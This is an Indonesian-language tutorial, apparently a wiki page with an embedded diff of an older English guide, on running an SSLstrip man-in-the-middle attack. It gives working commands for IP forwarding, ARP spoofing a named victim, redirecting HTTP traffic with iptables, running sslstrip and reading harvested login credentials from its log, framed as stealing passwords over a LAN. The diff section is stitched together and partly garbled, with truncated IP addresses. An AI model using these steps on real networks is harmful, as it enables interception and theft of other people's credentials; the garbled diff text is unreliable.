Langkah untuk melakukan serangan menggunakan ssltrip adalah sebagai berikut.

Cek routing,

route -n
netstat -nr

aktifkan ip forwarding

enable forward paket,

echo 1 > /proc/sys/net/ipv4/ip_forward
sysctl -w net.ipv4.ip_forward=1

arp spoofing

lakukan arpspoof,

arpspoof -i eth0 -t victimip routerip

arpspoof -i eth0 -t 192.168.0.106 192.168.0.100
192.168.0.106 = ip victim
192.168.0.100 = ip router / gateway / server yang akan di monitor

Cek apakah berhasil, arp -n di 192.168.0.106

arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.0.13             ether   ec:a8:6b:f8:2e:fc   C                     enp3s0
192.168.0.223            ether   d0:04:92:19:cc:38   C                     enp3s0
192.168.0.7              ether   4c:e6:76:1f:15:4c   C                     enp3s0
192.168.0.100            ether   66:31:65:39:62:38   C                     enp3s0

Setelah arpspoof di jalankan, lakukan arp -n

arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.0.13             ether   ec:a8:6b:f8:2e:fc   C                     enp3s0
192.168.0.146            ether   08:00:27:45:7a:dc   C                     enp3s0
192.168.0.223            ether   d0:04:92:19:cc:38   C                     enp3s0
192.168.0.7              ether   4c:e6:76:1f:15:4c   C                     enp3s0
192.168.0.100            ether   08:00:27:45:7a:dc   C                     enp3s0

Perhatikan MAC address 192.168.0.100 berubah :) ..

redirect packet

redirect inbound traffic ke port 80 (http), menuju port 8080 (sslstrip).

iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

Untuk redirect HTTPS (port 443) kayanya masih bermasalah baik untuk sslstrip maupun mitmproxy

sslstrip

Jalankan sslstrip agar listen pada port 8080

cd ~
sslstrip -l 8080 (untuk kali linux)
python sslstrip.pl –l 8080 (untuk backtrack)

lihat log

hasil penyadapan bisa dilihat di sslstrip.log, misalnya,

cd ~
tail sslstrip.log
more sslstrip.log

2017-04-04 17:07:16,065 POST Data (192.168.0.100):
login_username=onno&secretkey=123456&js_autodetect_results=1&just_logged_in=1

Crashing

Entah kenapa sslstrip ini suka crash :( ...

Solusinya, coba tambahkan > /dev/null

sslstrip -k -f -l 10000 2> /dev/null

-SSLSTRIP in a Man in the Middle Attack
+==aktifkan ip forwarding==
-Hello guys,
-In this tutorial, I’m going to teach you how to use a SSLSTRIP via the Kali OS.
-We’ll use SSLSTRIP for sniff or steal password in a Target PC via LAN (Local Area Network). SSLSTRIP is known in hijacking HTTP traffic on a network. For testing, we’ll try to use VMWARE and download the Kali Operating System. I’m using BT5 (Backtrack) in my presentation.
-Requirements:
-. Kali OS  – Click here
-. Syntax Code from the Author of the SSLSTRIP
-. Common sense
-We’re assuming SSLSTRIP is already installed in Kali Operating system:
-Step 1: Open Terminal
-Step 2: In order to run SSLSTRIP in MITM, you need to know the Target IP and the IP of Gateway of the router. To find the router gateway IP, here’s the code:
-route -n
-or
+enable forward paket,
-netstat -nr
+ echo 1 > /proc/sys/net/ipv4/ip_forward
+ sysctl -w net.ipv4.ip_forward=1
+==arp spoofing==
+lakukan arpspoof,
-Step 3: Port forward for accept packets and forward as vise versa
+ arpspoof -i eth0 -t victimip routerip
-disabled = 0
+ arpspoof -i eth0 -t 192.168.0.106 192.168.0.100
+.168.0.106 = ip victim
+.168.0.100 = ip router / gateway / server yang akan di monitor
-enabled = 1
+Cek apakah berhasil, arp -n di 192.168.0.106
-Code: echo “1” > /proc/sys/net/ipv4/ip_forward
+ arp -n

-Step 4: In a real attack, we’d be using ARPSPOOF against the layer 2 segments. In the images below, I modified the $routerip, but we make a simple instruction. At step 2, we find the router IP is 192.168.109.2. To use ARSPOOF, follow this code.
+==redirect packet==
-Code: arpspoof -i eth0 -t victimip routerip
+redirect inbound traffic ke port 80 (http), menuju port 8080 (sslstrip).
-See images below:
+ iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080
+ iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
-image 2
-three 3
-Note: The $routerip was already modified in advanced tutorial. Don’t follow the image – you can use this example:
+Untuk redirect HTTPS (port 443) kayanya masih bermasalah baik untuk sslstrip maupun mitmproxy
-Code: arpspoof -t eth0 -t  192.168.109.18 192.168.109.2
+==sslstrip==
-.168.109.18 = victim ip
+Jalankan sslstrip agar listen pada port 8080
-.168.109.2 =router ip or gateway
+ cd ~
+ sslstrip -l 8080 (untuk kali linux)
+ python sslstrip.pl –l 8080 (untuk backtrack)
+==lihat log==
-Step 5: Modify the IP table. Let’s understand iptables: iptables take traffic inbound to our Kali Linux machine, on which the destination is port 80 (also known as the HTTP web port. It redirects traffic to the port 1000, which is listening through the use of SSLSTRIP).
+hasil penyadapan bisa dilihat di sslstrip.log, misalnya,
-Code: iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 1000
+ cd ~
+ tail sslstrip.log
+ more sslstrip.log
-See image below:
+-04-04 17:07:16,065 POST Data (192.168.0.100):
+ login_username=onno&secretkey=123456&js_autodetect_results=1&just_logged_in=1
-imahe 4
-Step 6: Voila, peak time. We’re going to open our SSLSTRIP.
-In Kali:
-Application -> kali linux -> information gathering ->sslstrip analysis – >sslstrip
-In BT:
-Application -> Backtrack -> Exploitation tools -> Web Exploitation Tools ->ssltrip
-See the image below:
-image 5
-Run the following to start the SSLSTRIP, which we set at port 1000.
-In Kali:
-Code: sslstrip -l 1000
-In BT:
-Code: python sslstrip.pl –l 1000
-Step 7: An example of Victim login at hotmail.com.
-See image below:
-image 6
-Step 8: Open the sslstrip.log
-See image below:

-The username and password is in cleartext – the blur portion in picture.
-Thank you!

-        What it does is that it actually removes the https and replace it with http. Like the name implies SSLstrip. So it just strip off the ssl

-        Firefox is really secure and updated with frequency to detect MITM attacks.
